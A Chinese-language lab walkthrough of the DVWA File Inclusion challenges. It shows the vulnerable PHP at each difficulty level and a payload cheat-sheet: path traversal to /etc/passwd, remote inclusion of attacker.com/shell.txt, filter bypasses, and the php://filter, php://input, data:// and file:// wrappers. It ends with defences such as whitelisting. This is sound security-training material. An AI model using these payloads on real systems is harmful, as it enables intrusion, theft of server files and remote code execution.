DVWA File Inclusion 文件包含通关教程
漏洞简介
文件包含漏洞,顾名思义就是用户输入被拿去包含了不该包含的文件。分两种:
- LFI(本地文件包含):只能读服务器本地的文件
- RFI(远程文件包含):能包含远程服务器上的文件,危害更大
这关主要学怎么利用这个漏洞读敏感文件和执行恶意代码。
Low 级别
看代码:
1 | $file = $_GET[ 'page' ]; |
用户输入直接丢给 include(),一点过滤都没有,想包含啥都行。
本地文件包含(LFI)
读一下 /etc/passwd:
1 | ?page=/etc/passwd |
或者用相对路径跳目录:
1 | ?page=../../../../../etc/passwd |
还能读 Apache 配置:
1 | ?page=/etc/apache2/apache2.conf |
PHP 配置文件:
1 | ?page=/etc/php/7.4/apache2/php.ini |
远程文件包含(RFI)
如果 PHP 配置了 allow_url_include = On,那就能包含远程文件:
1 | ?page=http://attacker.com/shell.txt |
直接把远程的恶意代码包含进来执行,想想就刺激。
配合文件上传
如果还有文件上传漏洞,可以上传一个含恶意代码的图片,然后用文件包含去执行:
1 | ?page=../../hackable/uploads/malicious.jpg |
Medium 级别
Medium 开始过滤了:
1 | $file = str_replace( array( "http://", "https://", "../", "..\\" ), "", $file ); |
过滤了 http://、https://、../、..\,但是用 str_replace 这种方式很容易绕。
绕过方法
双写绕过目录遍历:
1 | ?page=....//....//....//....//etc/passwd |
过滤完 ../ 之后,剩下的 ../ 就拼出来了。
双写绕过远程包含:
1 | ?page=hthttp://tp://attacker.com/shell.txt |
过滤完 http:// 就变成了 http://attacker.com/shell.txt。
用其他协议:
1 | ?page=ftp://attacker.com/shell.txt |
PHP 伪协议:
1 | ?page=php://filter/read=convert.base64-encode/resource=/etc/passwd |
这个还能把文件内容 base64 编码输出,读源码很好用。
High 级别
High 级别限制了文件名必须以 file 开头:
1 | if( !fnmatch( "file*", $file ) && $file != "include.php" ) { |
但是 file:// 协议也符合这个条件啊。
绕过方法
用 file:// 协议:
1 | ?page=file:///etc/passwd |
虽然限制了文件名格式,但 file:// 协议能读任意本地文件,过滤了个寂寞。
Impossible 级别
Impossible 级别用了白名单:
1 | $file = $_GET[ 'page' ]; |
只有在白名单里的文件才能包含,这才是正确的做法。
常用 Payload 速查
| Payload | 用途 |
|---|---|
?page=/etc/passwd |
读 Linux 用户文件 |
?page=../../../../../etc/passwd |
目录遍历 |
?page=php://filter/read=convert.base64-encode/resource=config.php |
读 PHP 源码 |
?page=php://input |
执行 POST 数据中的代码 |
?page=file:///etc/passwd |
file 协议读本地文件 |
?page=http://attacker.com/shell.txt |
远程文件包含 |
?page=data://text/plain,<?php phpinfo();?> |
data 协议执行代码 |
小结
文件包含漏洞危害很大,防护要点:
- 用白名单限制可包含的文件
- 禁用远程文件包含
allow_url_include = Off - 用
open_basedir限制 PHP 能访问的目录 - 过滤特殊字符虽然有用,但不如白名单靠谱